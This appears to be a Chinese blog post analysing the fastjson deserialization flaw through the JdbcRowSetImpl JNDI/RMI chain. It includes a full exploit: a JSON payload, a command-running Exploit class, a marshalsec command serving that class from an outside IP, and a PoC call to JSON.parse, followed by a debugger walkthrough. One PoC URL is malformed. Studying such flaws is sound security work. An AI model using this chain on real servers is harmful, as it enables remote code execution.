从0开始fastjson漏洞分析https://www.cnblogs.com/piaomiaohongchen/p/14777856.html

  有了前文铺垫,可以说对fastjson内部机制和fastjson的反序列化处理已经了然于心

  大致流程如下,简单说下:当调用Parse的时候,会先搜索@type,然后通过JSONSCanner判断用户的json输入,判断开头是否是{和",然后获取我们的输入@type类,通过JSONSCannerSymbool去解析,获取我们@type的值,使用集合的方式存储这个恶意类(就是我们@type的值),对恶意类序列化,反序列化,通过反射调用类中所有方法(get/set)和类中的属性,把获取到的方法进行处理,对获取到的属性进行序列化和反序列化,并使用集合封装处理.判断是否是set开头的方法,如果是,把set**后面的字段序列化然后反序列化.比如我们的bytecodes,对我们的输入解码,那么我们的输入就是编码

  不鸡肋的利用链:JNDI && JdbcRowSetImpl利⽤链

  先学习jndi:

    jdni具体含义:  

JNDI 即Java Naming and Directory Interface(JAVA 命名和目录接口),那么Java 命名的目的就是为了记录一些不方便记录的内容,就像DNS 中的域名与IP 的关系,存在一一对应的关系。

JNDI 被定义为独立于任何特定的目录服务实现。因此,可以以通用方式访问各种目录。

  jndi一个实际场景就是spring boot下的数据库连接池子:

    

  通过远程调用,其底层原理就是使用的jndi.

  JNDI架构:

  

  其中在fastjson漏洞利用中,最常用的就是ldap和rmi了. 即使是一点都不懂漏洞原理的,相信在打fastjson漏洞的时候也会遇到这两个协议

  他们的具体含义是:  

轻型目录访问协议(LDAP )。
Java远程方法调用(RMI )注册表。

  我们以rmi为例,写一段demo:

  rmi的目的很简单:就是要使运行在不同的计算机中的对象之间的调用表现得像本地调用一样。

  远程接口定义:

    IRemoteTest.java

package com.test.fastjson.jndi;

import java.rmi.Remote;
import java.rmi.RemoteException; //必须继承Remote类型,必须抛出异常
public interface IRemoteTest extends Remote {
public String test() throws RemoteException;
}

  接口实现类:

    IRemoteTestImpl.java

package com.test.fastjson.jndi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
//远程接口实现
public class IRemoteTestImpl extends UnicastRemoteObject implements IRemoteTest {
protected IRemoteTestImpl() throws RemoteException {
super();
} @Override
public String test() throws RemoteException {
return Thread.currentThread().getStackTrace()
[1].getMethodName()+"被远程调用了";
}
}

    

  

  编写服务端绑定:

    Server.java

package com.test.fastjson.jndi;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry; //服务端绑定
public class Server {
IRemoteTest iRemoteTest; public void server() throws RemoteException, AlreadyBoundException, MalformedURLException {
iRemoteTest = new IRemoteTestImpl();
//远程对象注册表实例
LocateRegistry.createRegistry(6666);
//把远程对象注册到RMI注册服务器上
Naming.bind("rmi://127.0.0.1:6666/test",iRemoteTest);
System.out.println("server绑定成功");
}
}

  编写客户端,调用远程对象:

  Client.java:

  

package com.test.fastjson.jndi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException; //客户端调用服务端声明的对象
public class Client {
public IRemoteTest iRemoteTest; public void client() throws RemoteException, NotBoundException, MalformedURLException {
//在RMI注册表中查找指定对象
iRemoteTest = (IRemoteTest) Naming.lookup("rmi://127.0.0.1:6666/test");
//调用远程对象方法
System.out.println("client:");
System.out.println(iRemoteTest.test());
}
}

  编写测试类:

    

package com.test.fastjson.jndi;

import org.junit.Test;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException; public class RMITest {
@Test
public void testServer() throws MalformedURLException, RemoteException, AlreadyBoundException {
Server server = new Server();
server.server();
while(true);
} @Test
public void testClient() throws RemoteException, NotBoundException, MalformedURLException {
Client client = new Client();
client.client();
}
}

  先调用服务端,然后客户端远程调用方法:

    

  启动客户端:

     

  

  了解了rmi后,我们来看下JNDI && JdbcRowSetImpl利⽤链

  exp如下:

    

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vps_ip/Exploit", "autoCommit":true}

    其中看见使用rmi,看到Exploit,通过前面的rmi学习,可以知道Exploit就是我们远程对象Exploit,我们远程调用Exploit类对象:

  通过前面学习rmi,我们可以模拟服务端,但是很多时候很麻烦,这里借助前辈的工具:快速搭建恶意rmi/ldap服务端:

  marshalsec, RMI / LDAP 恶意服务器快速搭建⼯具,下载地址:https://github.com/mbechler/marshalsec

  写个恶意类:

   

 先生成恶意类字节码:

  javac Exploit生成class字节码

  Exploit.java->javac Exploit.java ->Exploit.class:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable; public class Exploit implements ObjectFactory, Serializable {
public Exploit(){
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch (IOException e){
e.printStackTrace();
} } public static void main(String[] args){
Exploit exploit = new Exploit();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

  快速搭建rmi/ldap服务器:

   

java -cp marshalsec-0.0.1-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer http://119.45.227.86/#Exploit

 

  

  这样就会生成服务端的监听,等待接收客户端的调用:

    rmi默认端口1099,可以自定义设置端口:

  在末尾加端口即可:

  

  客户端调用服务端:

  Exploit:    

    

package com.test.fastjson.Exploit_chain2;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig; public class ExploitPoc {
public static void main(String[] args) {
String poc ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://119.45.227.86:123:7777/Exploit\",\"autoCommit\":true}";
JSON.parse(poc);
}
}

  即可实现命令执行,可能部分人无法复测成功,因为ldap/rmi受限于jdk版本限制:

    

ldap适用 JDK11.0.1/8u191/7u201/6u211之前,rmi适用JDK8u113/7u122/6u132之前

  前面开头我们简单的讲解了下fastjson反序列化的流程,现在我们静态调试分析下:

    首先反射进入JdbcRowSetImpl或者debug Parse函数:

    

  查看定义的属性:

    

   private Connection conn;
private PreparedStatement ps;
private ResultSet rs;
private RowSetMetaDataImpl rowsMD;
private ResultSetMetaData resMD;
private Vector<Integer> iMatchColumns;
private Vector<String> strMatchColumns;
protected transient JdbcRowSetResourceBundle resBundle;

  

  查看set和get方法:  

    

  有对应的get和set方法,所以不需要Feature.SupportNonPublicField

  根据exp看看datasource属性:

  设置datasource:

  

    对datasource进行赋值:

    

  接着调用setAutoCommit:  

    

  一定要让conn为null,所以exp里面没设置conn,为null才能触发else条件,走else条件会调用connent方法和设置autocommit:

  跟进this.connect():

  当前对象方法,那么就在这个类里面:

    

  重点:

    

  databasesoucrename可以外部定义!

  通过lookup远程查找,调用恶意类,从而实现rce,就是这么简单          

从0开始fastjson漏洞分析2的更多相关文章

  1. 从0开始fastjson漏洞分析

    关于fastjson漏洞利用参考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html fastjson这个漏洞出来了很久,一直没时间分析, ...

  2. Beescms_v4.0 sql注入漏洞分析

    Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...

  3. PHPCMS V9.6.0 SQL注入漏洞分析

    0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...

  4. Apache Roller 5.0.3 XXE漏洞分析

    下载5.0.2的版本来分析 5.0.2的war包地址 http://archive.apache.org/dist/roller/roller-5/v5.0.2/bin/roller-weblogge ...

  5. ECShop 2.x 3.0代码执行漏洞分析

    0×00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0×01 漏洞原理 ECShop 没有对 $GLOBAL[‘_SE ...

  6. 最新phpcms v9.6.0 sql注入漏洞分析

    昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...

  7. ThinkPHP 5.x远程命令执行漏洞分析与复现

    0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...

  8. linux漏洞分析入门笔记-bypass_PIE

    ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack.heap. ...

  9. Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析

    Apache Log4j 漏洞分析 仅用于研究漏洞原理,禁止用于非法用途,后果自负!!! CVE-2019-17571 漏洞描述 Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开 ...

随机推荐

  1. 如何在 ASP.Net Web Forms 中使用依赖注入

    依赖注入技术就是将一个对象注入到一个需要它的对象中,同时它也是控制反转的一种实现,显而易见,这样可以实现对象之间的解耦并且更方便测试和维护,依赖注入的原则早已经指出了,应用程序的高层模块不依赖于低层模 ...

  2. IPFS挖矿的成本有哪些?

    IPFS作为区块链新贵,近来风头一时无量.截止3月9日,Filecoin以257亿的流通市值超越门罗币,稳居区块链流通排行榜. 无论什么投资,其门槛一定在成本.今天就和大家细说投资市面上常见实体矿机的 ...

  3. P1328_生活大爆炸版石头剪刀布(JAVA语言)

    题目描述 石头剪刀布是常见的猜拳游戏:石头胜剪刀,剪刀胜布,布胜石头.如果两个人出拳一 样,则不分胜负.在<生活大爆炸>第二季第8集中出现了一种石头剪刀布的升级版游戏. 升级版游戏在传统的 ...

  4. greenplum6.14、GPCC6.4安装详解

    最近在做gp的升级和整改,所以把做的内容整理下,这篇文章主要是基于gp6.14的安装,主要分为gp,gpcc,pxf的一些安装和初始化.本文为博客园作者所写: 一寸HUI,个人博客地址:https:/ ...

  5. CVPR2021| 继SE,CBAM后的一种新的注意力机制Coordinate Attention

    前言: 最近几年,注意力机制用来提升模型性能有比较好的表现,大家都用得很舒服.本文将介绍一种新提出的坐标注意力机制,这种机制解决了SE,CBAM上存在的一些问题,产生了更好的效果,而使用与SE,CBA ...

  6. [贪心]D. 【例题4】国王游戏

    D . [ 例 题 4 ] 国 王 游 戏 D. [例题4]国王游戏 D.[例题4]国王游戏 解析 贪心思想,考虑交换后的值比交换前的小. 然后数据规模用高精度 Code #include <b ...

  7. 201871030115-康旭 实验二 软件工程个人项目—《D{0-1} KP》项目报告

    项目 内容 课程班级博客连接 课程班级 这个作业要求连接 作业链接 我的课程学习目标 (1)详细阅读<构建之法>第1章.第2章,掌握PSP流程:(2)设计实际程序掌握动态规划算法.回溯算法 ...

  8. 201871030118-雷云云 实验二 个人项目—D{0-1}背包问题项目报告

    项目 内容 课程班级博客链接 班级博客 这个作业要求链接 作业链接 我的课程学习目标 1.了解并掌握psp2.掌握软件项目个人开发流程3.掌握Github发布软件项目的操作方法 这个作业在哪些方面帮助 ...

  9. Dynamics CRM绑定表单查看当前表单的数据参数传递

    我们做报表的时候,报表运行的位置可以在列表.也可以在报表区同时也可以在表单界面 其他两个都还好,不需要进行过滤,但是在表单界面运行报表需要将表单的GUID传给报表获取数据,否则就得手动去输入ID 具体 ...

  10. Dynamics CRM安装教程四:DNS配置

    在为MS CRM 配置Claims-based认证之前,你需要在域控服务器的DNS中添加一些记录,来解析CRM的各个断点,添加內容如下(本次环境全部安装在一台机子中): AD FS 服务器(例: ad ...